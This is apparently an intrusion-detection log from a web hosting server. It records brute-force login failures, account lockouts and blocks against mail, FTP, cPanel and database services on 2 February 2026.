2026-02-02 06:17:58 dovecot_login authenticator failed for H=([103.177.204.4]) [103.177.204.4]:48462: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:17:05 dovecot_login authenticator failed for H=(TmVdhV) [158.94.208.175]:49903: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:17:13 dovecot_login authenticator failed for H=(P8e3Isko) [165.154.217.204]:60274: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:17:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:17:02 dovecot_login authenticator failed for H=(H9su4F) [178.16.52.139]:60415: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:17:05 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48532: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:17:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53140: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:17:01 dovecot_login authenticator failed for H=(0DbEru) [185.230.124.69]:55831: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:17:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:17:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-02 06:18:37 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:53217: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:18:10 dovecot_login authenticator failed for H=(K5g9YbF7) [158.94.208.175]:60839: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.237.70.192
country_id: 2661886
description:
2026-02-02 06:19:00 dovecot_login authenticator failed for H=([127.0.0.1]) [194.237.70.192]:34098: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:18:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:18:25 dovecot_login authenticator failed for H=(lX5horOLqr) [178.16.52.139]:61141: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:18:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:18:11 dovecot_login authenticator failed for H=(mgAMnWAjgm) [165.154.217.204]:65344: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:18:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62919: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:18:18 dovecot_login authenticator failed for H=(l5loBe) [185.230.124.69]:62817: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:18:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:18:29 dovecot_login authenticator failed for H=(p9pmfX) [165.154.217.204]:50556: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:18:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:18:14 dovecot_login authenticator failed for H=(Qi4xon6P) [77.83.39.253]:28494: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:19:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56081: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:19:08 dovecot_login authenticator failed for H=(uSJVuTBq) [165.154.217.204]:53667: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:19:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.21
country_id: 2750405
description:
Feb  2 06:19:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.21)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.14
country_id: 2750405
description:
Feb  2 06:19:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.14)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.22
country_id: 2750405
description:
Feb  2 06:19:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.22)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:19:47 dovecot_login authenticator failed for H=(y3vOY6Cqh) [165.154.217.204]:57153: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:19:13 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46508: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-02 06:19:20 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:52522: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:19:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:19:18 dovecot_login authenticator failed for H=(xFz3sCeJe) [178.16.52.139]:60966: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-02-02 06:19:55 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:48102: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.15
country_id: 2750405
description:
Feb  2 06:19:50 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.15)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.158.148
country_id: 1814991
description:
2026-02-02 06:19:08 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.158.148]:54560: 535 Incorrect authentication data (set_id=bptioh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:19:10 dovecot_login authenticator failed for H=(5PxkZWnUa) [158.94.208.175]:58224: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:19:15 dovecot_login authenticator failed for H=(hDVUlUN5) [185.230.124.69]:61340: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-02 06:19:45 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:19:01 dovecot_login authenticator failed for H=(0SSFawbu) [77.83.39.253]:8745: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:19:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:19:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.25
country_id: 2750405
description:
Feb  2 06:19:30 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.25)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-02 06:19:40 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:56268: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-02 06:19:54 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:16130: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:20:05 dovecot_login authenticator failed for H=(IGhRctkc) [165.154.217.204]:58488: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:20:13 dovecot_login authenticator failed for H=(3KhvwnUFB) [77.83.39.253]:17467: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:20:22 dovecot_login authenticator failed for H=(zrSidGuc) [178.16.52.139]:61100: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:20:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58258: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:20:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:20:14 dovecot_login authenticator failed for H=(8gwZujNB) [185.230.124.69]:54881: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-02 06:20:16 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:20:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:20:14 dovecot_login authenticator failed for H=(m7f6qJb9P) [158.94.208.175]:62056: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-02 06:20:19 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:53913: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 4.246.227.87
country_id: 6252001
description:
Feb  2 06:20:29 sv3 pure-ftpd[1465686]: (?@4.246.227.87) [WARNING] Authentication failed for user [https]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-02 06:20:55 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:42510: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 06:20:58 +0800] info [cpaneld] 185.204.54.153 - kaasam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kaasam (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:20:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:21:11 dovecot_login authenticator failed for H=(qP8QgNriA0) [185.230.124.69]:49173: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:21:18 dovecot_login authenticator failed for H=(1dbucBmD) [158.94.208.175]:65113: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:21:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.253.142
country_id: 1814991
description:
2026-02-02 06:21:11 dovecot_login authenticator failed for H=([116.113.253.142]) [116.113.253.142]:38266: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.251.67.85
country_id: 2017370
description:
2026-02-02 06:21:21 dovecot_login authenticator failed for H=([87.251.67.85]) [87.251.67.85]:37532: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:21:26 dovecot_login authenticator failed for H=(RYdHHA) [178.16.52.139]:49240: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:21:04 dovecot_login authenticator failed for H=(iEV3UNlZel) [165.154.217.204]:62980: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:21:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52521: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:21:23 dovecot_login authenticator failed for H=(G7Dp4N3q) [165.154.217.204]:64386: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-02-02 06:21:04 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:58196: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-02 06:21:09 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:55619: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:21:22 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50008: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:21:24 dovecot_login authenticator failed for H=(EMIEzTCG) [77.83.39.253]:24182: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.111
country_id: 2750405
description:
2026-02-02  6:21:43 271989 [Warning] Aborted connection 271989 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.111' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:22:08 dovecot_login authenticator failed for H=(pV0CODMnvu) [185.230.124.69]:61293: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:22:19 dovecot_login authenticator failed for H=(rWLcZfw) [178.16.54.138]:65471: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:22:32 dovecot_login authenticator failed for H=(Qb3nNBNdGO) [178.16.52.139]:57788: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:22:11 dovecot_login authenticator failed for H=(3HkIF1to) [77.83.39.253]:10155: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:22:22 dovecot_login authenticator failed for H=(4kfj0ZRzjt) [158.94.208.175]:54032: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:22:04 dovecot_login authenticator failed for H=(9x1MoDWO) [165.154.217.204]:50909: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:22:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49165: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:22:56 dovecot_login authenticator failed for H=(4yTudEI) [165.154.217.204]:54894: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:23:05 dovecot_login authenticator failed for H=(FOFybc9Y09) [185.230.124.69]:55905: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:23:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:23:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47742: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 80.94.250.168
country_id: 617790
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=806383 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:23:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59134: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:23:15 dovecot_login authenticator failed for H=(28eShvJYJ) [165.154.217.204]:56371: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:23:25 dovecot_login authenticator failed for H=(ooPrzTho) [178.16.52.139]:62757: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:23:19 dovecot_login authenticator failed for H=(pAVhCGjC) [178.16.54.138]:52568: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:23:33 dovecot_login authenticator failed for H=(mTvRs5WZO) [158.94.208.175]:53985: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:23:44 dovecot_login authenticator failed for H=(BKjBxkJtT6) [77.83.39.253]:41038: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:24:18 dovecot_login authenticator failed for H=(ODeGguwW) [165.154.217.204]:61031: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:24:27 dovecot_login authenticator failed for H=(peDH2XkIw0) [178.16.52.139]:60516: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:24:02 dovecot_login authenticator failed for H=(OLVZ9DoL) [185.230.124.69]:63174: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:24:07 dovecot_login authenticator failed for H=(gaDUEB) [77.83.39.253]:7003: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:24:13 dovecot_login authenticator failed for H=(9NIKJvAGH) [165.154.217.204]:60551: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:24:35 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:24:46 dovecot_login authenticator failed for H=(PonS34) [178.16.54.138]:52477: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:24:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55359: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:24:12 dovecot_login authenticator failed for H=(mofy9zNCb9) [158.94.208.175]:51305: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:24:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:25:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:25:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60210: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:25:14 dovecot_login authenticator failed for H=(NKchjh) [158.94.208.175]:51733: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:25:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:25:18 dovecot_login authenticator failed for H=(p0uTpZk) [185.230.124.69]:50021: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.143
country_id: 1668284
description:
2026-02-02 06:25:23 dovecot_login authenticator failed for H=111-70-28-143.emome-ip.hinet.net [111.70.28.143]:34287: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:25:47 dovecot_login authenticator failed for H=(h3YJa9bE) [165.154.217.204]:51199: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:25:09 dovecot_login authenticator failed for H=(uLL19I5T5M) [165.154.217.204]:64813: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.146.91.181
country_id: 1814991
description:
2026-02-02 06:25:10 dovecot_login authenticator failed for H=([119.146.91.181]) [119.146.91.181]:50540: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
